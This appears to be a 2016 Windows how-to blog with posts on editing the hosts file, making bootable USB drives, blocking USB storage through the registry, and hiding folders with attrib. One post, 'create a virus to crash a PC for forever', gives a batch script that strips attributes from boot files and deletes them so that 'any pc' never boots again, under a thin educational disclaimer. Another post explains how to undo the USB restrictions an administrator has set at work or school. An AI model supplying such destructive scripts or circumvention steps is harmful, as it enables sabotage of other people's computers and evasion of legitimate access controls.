Saturday, 16 April 2016

Edit the Windows Hosts File to Block or Redirect Websites

The Windows host file is a file that Windows uses to control and map IP addresses. By editing the Hosts file, Windows can be customized to block or redirect specific websites and even protocols that are used by programs and applications.
To get started editing the Windows Hosts file, you first need to locate it. Open Windows Explorer and click on This PC or My Computer. Double-click on C:\, then the Windows folder and scroll down the page until you reach the System32 folder. Inside of that folder, open drivers and then open etc. You’ll now see several files, one of which ishosts.
hosts file
Now, notice that the file type for the hosts file is listed as File. Because there is no default program set to open a file type like this, double clicking the hosts file will simply give you a Windows Prompt, asking you which program you would like to use to open the file.then you can choose to edit the hosts file with Notepad
So, simply click to select Notepad and click the OK button. From there, Notepad will launch with the hosts file information.
hosts file notepad
This way of opening the Hosts file was demonstrated to show where the hosts file is actually located within Windows, but you won’t be able to edit it because it’s a system file. In order to edit the file, you have to open Notepad first, running as an Administrator.
Click on Start and type in Notepad, but don’t click on Notepad to open it. Rather, right-click the Notepad listing to bring up the Context menu. Select the option Run as Administrator.
notepad run as admin
With Notepad open, select File > Open. Navigate to C:\Windows\System32\drivers\etc. You will get a blank screen that displays the prompt No items match your search. Change Text Documents (*.txt) to All Files using the drop down menu. Now, you can select the hosts file and click Open.
open hosts file
Adding files to the hosts file is very simple. The hosts file uses the format: IP Address exampledomain.com
Blocking a website in Windows is as simple as typing the following into the bottom of the hosts file:   127.0.0.1    www.exampledomain.com
So, if I wanted to block a website like www.nytimes.com, I could just add the following line:   127.0.0.1    www.nytimes.com
redirect website hosts
What we are actually telling Windows is that the website www.nytimes.com should redirect to the IP address 127.0.0.1, which is just the loopback address on our local system. If you don’t have a local website setup on your computer, you’ll just get an error page in your web browser.

Reset Hosts File to Default in Windows

Microsoft has simplified the process somewhat from Windows Vista ...
Simply locate the "hosts.zip" file you downloaded, by default it should be located in your "User" Download folder.
Highlight the file (single-click) then right-click and select > Extract All from the menu ...
Next: Make sure there is a check in the "Show extracted files when complete" option
Next: right-click the installer "mvps.bat" and select: Run as Administrator (see below)
Ok the UAC prompt and the batch file will run ... which will backup the existing HOSTS file (HOSTS.MVP) then copy the updated HOSTS file to the proper location. You should see a completed prompt (press any key) and that's it ...


The below screenshot shows the "MVPS HOSTS FILE IS NOW UPDATED" message ...



Editors Note: in most cases a large HOSTS file (over 135 kb) tends to slow down the machine.
To resolve this issue (manually) open the "Services Editor"
  • Start | Run (type) "services.msc" (no quotes)
  • Scroll down to "DNS Client", Right-click and select: Properties - click Stop
  • Click the drop-down arrow for "Startup type"
  • Select: Manual (recommended) or Disabled  click Apply/Ok and restart.
 Hostsman includes an option to turn off the DNS Service [screenshot]
When set to Manual you can see that the above "Service" is not needed (after a little browsing - when set to Manual) by opening the Services Editor again, scroll down to DNS Client and check the "Status" column. It should be blank, if it was needed it would show "Started" in that column. There are several Utilities that can reset the DNS Client for you ... [more info]
Editors Note: The above instructions are intended for a single (home-user) PC. If your machine is part of a "Domain", check with your IT Dept. before applying this work-around. This especially applies to Laptop users who travel or bring their work machines home. Make sure to reset the Service (if needed) prior to connecting (reboot required) to your work Domain ...
Important! If you are using Network Discovery then the DNS Client service is required and should not be set to either Manual or Disabled.
 Workaround for using the MVPS HOSTS file and leaving the DNS Client service enabled (set to: Automatic)
  • If you find after a period of time that your browser seems sluggish with the DNS Client service enabled you can manually flush the DNS cache
  • Close all browser windows ... open a "Command Prompt" from the Start Menu > All Programs > Accessories > Command Prompt
  • (type) ipconfig /flushdns (press Enter) Then close the Command Prompt ...
A better workaround would be to add two Registry entries to control the amount of time the DNS cache is saved. (KB318803)
  • Flush the existing DNS cache (see above)
  • Start > Run (type) regedit
  • Navigate to the following location:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
  • Click Edit > New > DWORD Value (type) MaxCacheTtl
  • Click Edit > New > DWORD Value (type) MaxNegativeCacheTtl
  • Next right-click on the MaxCacheTtl entry (right pane) and select: Modify and change the value to 1
  • The MaxNegativeCacheTtl entry should already have a value of 0 (leave it that way - see screenshot)
  • Close Regedit and reboot ...
  • As usual you should always backup your Registry before editing ... see Regedit Help under "Exporting Registry files"
JBF sends along this Tip: IPCOP running a DHCP server needs the DNS Client enabled to function.
 Editing the HOSTS file
In the event you need to edit the HOSTS file and are unable (system message) it may be due to the "permissions" preventing you from editing the file.
  • Right click the Hosts file and select > Properties
  • Click the Security tab
  • Highlight your user account in the list
  • Press the Edit button
  • Select (place a check in) Full control
  • Press OK in the various dialogue boxes to confirm the changes.
You can also Add "Take Ownership" to Context Menu (recommended)

SendTo Tip: if you add Notepad to your SendTo menu, then you can View/Edit the HOSTS file that way.
  • Start > Run (type) shell:sendto (press Ok)
  • File > New > Shortcut then click Browse and navigate to the Windows folder, highlight "notepad.exe"
  • Name your shortcut: Notepad and Ok
The actual location defined in the following Registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DataBasePath
 Other strange quirks
I've seen the HOSTS file "Attributes" set to an value of N or I ... as much as I can find it stands for:
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED
On Windows NTFS volumes, the attribute FILE_ATTRIBUTE_NOT_CONTENT_INDEXED can be set for directories and files, so that the directories and files are not indexed by the Windows Indexing Service.
This occurs when (one or more) of the Advanced File attributes are unchecked = File > Properties > Advanced button
Note: to view the "Attributes" you need to add that option in Windows Explorer ... right-click the Header bar and select: More > Attributes
 Programs are unable to access the HOSTS file message

Windows may detect that the HOSTS file was updated and it assigns a new Security setting to the HOSTS file. Right-click the HOSTS file and select: Properties ... if you see the following message (at the bottom) "This file came from another computer and might be blocked to protect this computer"


  • Click Unblock, click Apply, click the Security tab (up top) and take "Full Control" of the file (see above)
 To view Hidden Files
To allow yourself to view all file types, open Windows Explorer  > Tools > Folder Options > View tab
or Organize > Folder and search options > View tab
  • Scroll down to the Hidden Files and Folders section
  • Select: "Show hidden files and folders"
  • Uncheck: "Hide file extensions for known file types"
  • Uncheck: " Hide protected operating system files"
  • Ok the Prompt, click Apply, Ok

Thursday, 14 April 2016

Bootable usb pendrive using cmd

Creating a usb pendrive using command prompt is not hard, it is one of the most common ways to create a bootable usb.
      This method does not work if your operating sistem is windows xp or windows 8 , you cannot select the primary partition in comand prompt.
       You just need to follow these simple steps:
  1. First step is to obtain the windows files from somewhere and save them to a folder in your pc. You can rip a windows dvd , or if you have the iso image file you can open it with magic disc or daemon tools or even winrar , and you need to copy the whole content to a folder anywhere in your pc , you just need to make sure you know where it is located.
  2. Make sure your usb stick is inserted, go to start search cmd , right click the  file and select run as administrator. The command prompt will appear, now you need to write the following comands:
  3. diskpart→list disk→select disk 1(chose  the usb device, you will recognize it by its size)→clean(this will erase the usb)→create partition primary→select partition 1→active→format fs=ntfs(this will format the usb drive and will take 10-15 minutes)→Untitled 5
  4. After the format is done you have to continue writting  in command promt :  →assign(now you will notice that the usb drive changed its letter to (H): or (G))→exit(this command will exit the disk part function)
  5. Now you have to write the path to the executable file in your windows saved folder , make sure that in your windows folder you have the boot folder with the bootsect executable file.Untitled 8
  6. In my case the command goes like this:   E:→cd win 7 sp1→
           →cd boot→bootsect.exe/nt60 h:(h is the letter of the usb drive ,this comand will update the boot core)→exit (this will exit command prompt).
Untitled 6
  1. Now you have to copy all the files in the windows folder to your usb drive. Untitled 7
  2. ALL DONE. You can now restart your pc and boot from the usb hard drive.

Prevent others from taking your Data via Pendrive

By using this trick no one get data from your PC via pen-drive. It’s a simple trick and easy to follow.It prevents people from taking out data without permission or spreading viruses through the use of USB (pen and flash) drives.
to apply this trick on your PC just follow these simple steps–>
step 1. Go to start & click on run or press (windows+R) key.
step 2.  Now type ‘regedit’ and press enter, it will open registry editor.
usb tricks
Step 3.  Go to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesusbstor

Step 4.  In the work area double click on ‘start’.
usb hack tricks







Step 5. In the value data box, enter ‘4’ & click ok.
Step 6. Close registry editor and restart your pc.
> So thats it, now no one can access your pc with a pen-drive.
Note:-
  To get back access to your usb port, enter ‘3’ in the value data box as mentioned in step 5.
So thats how we can limit others to taking our data.

Enable or Disable USB Drives or Ports in Windows 7/8/10.

How often you have witnessed blocked Pen drive or USB drive access in your work place or college or school? I believe many times; in fact every time you try to use the USB drive, you are not allowed, simply because the administrator has disabled USB drive detection on your Windows system. Again, how often has your data been stolen because someone connected an unauthorized USB to your computer and copied your files?  Well, you don’t need to worry because the solution to disable or enable USB Ports is pretty simple.


Restrict access to USB drives

There are 5 ways an administrator can prevent using of USB Drives
They are:
  1. Altering registry values for USB Mass Storage Devices.
  2. Disabling USB Ports from Device Manager.
  3. By Un-installing the USB Mass Storage Drivers
  4. Using third-party freeware
  5. Using Microsoft Fix It.
Lets us look at how we can fix these problems and enable USB on Windows 7 PC.

1. Enable or Disable USB Drives and Mass Storage Devices using Registry

If the administrator is smart then he would definitely do this to ensure a tight blockade. He would alter the settings through regedit command on run console. Now how do you unlock it ? You have to go right into where the administrator has been. Here is how.
  1. Go to Start > Run , type “regedit” and press enter to open the registry editor
  2. Navigate to the following key.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR
In the right pane, select Start and change the value to 3. (The value 4 will disable USB Storage). Click OK. This will re-enable USB Ports and allow you to use USB or Pen drives.

2. Disable USB Ports from Device Manager

If you still don’t find your USB drive working, you may have to look into the Device Manager. The Administrator could have possibly disabled the USB port here. Check out for any possibility in the Device Manager and enable the disabled port by right clicking on selected one and click Enable.


3. Uninstall USB Mass Storage Drivers

If the authorities are really worried about security in the school they would take the extreme step of un-installing the USB Mass Storage Drivers. To make things work, just install the device drivers. Here is how you do it.
As when you plug-in your USB drive, Windows will check for drivers, if not found Windows will prompt you to install the driver. This would definitely unlock the Pen drive at your School or office.

4. Use USB Drive Disabler / Enabler

You can download and use a free tool USB Drive Disabler / Enabler which will allow you to easily enable or disable USB drives on your Windows computer.

5. Prevent users from connecting USB

If a USB storage device is already installed on your Windows computer, you can edit the Widnows Registry to ensure sure that the USB does not work when anyone connects it to the PC, using this Microsoft Fix it 50061. Check first if it applies to your version of the Windows operating system.

create a virus to crash a PC for forever

Hi readers, I am back with a killer virus trick, by using it you can crash any pc for forever (it will never reboot again)
as-usual i am using batch programming for creating virus code.Beware don’t run it on your own pc otherwise you are responsible for your damage.

Warning:-

This article is only for educational purpose. It is just to show the power of batch programming
Steps to create killer virus
  1. open your notepad
  2. now copy the below code
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
  1.  Now save it as killer.bat
  2. So that’s it, killer notepad virus to crash a pc is created
REMEMBER:- Do not double click on this file because this virus deletes all files that are needed to start a computer.

Wednesday, 13 April 2016

Hide and unhide folders

Hide and unhide folders with Command Prompt:

1. Hide folders
Example: Hide a folder named "Documents" in C disk.
Way 1: Directly use an attrib command to hide the folder.
Step 1: Simultaneously press Windows key and R key to open Run dialog box, input cmd and click OK to open Command Prompt.
Step 2: Input "attrib +s +h c:\documents" (without double quotation marks) in the Command Prompt window and click Enter.
Tips: In this attrib command, "+" stands for setting an attribute, "s" represents system file attribute and "h" means hidden file attribute. Moreover, "c:" is the drive letter and "documents" is the folder name. By analogy, if you want to hide a folder in another hard disk, you can use the attrib command by changing the drive letter and folder name.
For instance, suppose you would like to hide a folder titled "Summary" in E disk, you can input "attrib +s +h e:\summary" (without double quotation marks) in the Command Prompt and press Enter.
Way 2: Enter the disk directory and then use an attrib command to hide the folder.
Example: Hide a folder called "Summary" in E disk.
Step 1: Type e: in the cmd and tap Enter to go to the E disk directory, as shown in the following picture.
Step 2: Input attrib +s +h summary and press Enter.
Tips: Use this attrib command through changing the folder name (referred to "summary") to hide another folder.
2. Unhide Folders.
Accordingly, there are two methods to unhide folders.
Method 1: Directly use an attrib command to unhide the folder (referred to "Documents" folder in C disk).
Input attrib –s –h c:\documents and hit Enter.
Note: In the attrib command, "-" means clearing an attribute.
Method 2: Go to the disk directory in cmd and then use an attrib command to unhide the folder ("Summary" folder in E disk).
Step 1: Enter e: and tap Enter.
Step 2: Input attrib –s –h summary and press Enter.

Hide and unhide files with Command Prompt:

1. Hide files
Example: Hide a txt file named "goals" in E disk.
Enter attrib +s +h e:\goals.txt and tap Enter.
Tips: "goals.txt" refers to the full name of the document (including file extension name). So, you can change the file name and use the attrib command to hide other files.
2. Unhide files.
Input attrib –s –h e:\goals.txt and press Enter to unhide the "goals" document.
Now, you can try the above methods and see if they work well in your computer.
I am unable to find my folders how to unhide.
1. click start>>run>>type in "cmd" 
2. type the location of your flash drive.. e.g. "d:", "e:", "f:", etc.. 
3. type "dir /ah" 
*you will now see the files/folders with hidden attributes 
4. type "attrib [name of file/folder] -r -a -s -h" 
*if you're going to unhide files, you should type the whole name plus the extension (format).. example "attrib party.jpg -r -a -s -h" 
**if you have folders with 6 characters and above, type the first 6 characters then "~1".. example for folder named "birthday" 
"attrib birthd~1 -r -a -s -h" 
5. you should repeatedly type dir /ah after unhiding some files/folders so you'll know if they're now working or not.. 
6. now check you flash drive.. it should be there..
Welcome you all into my blog..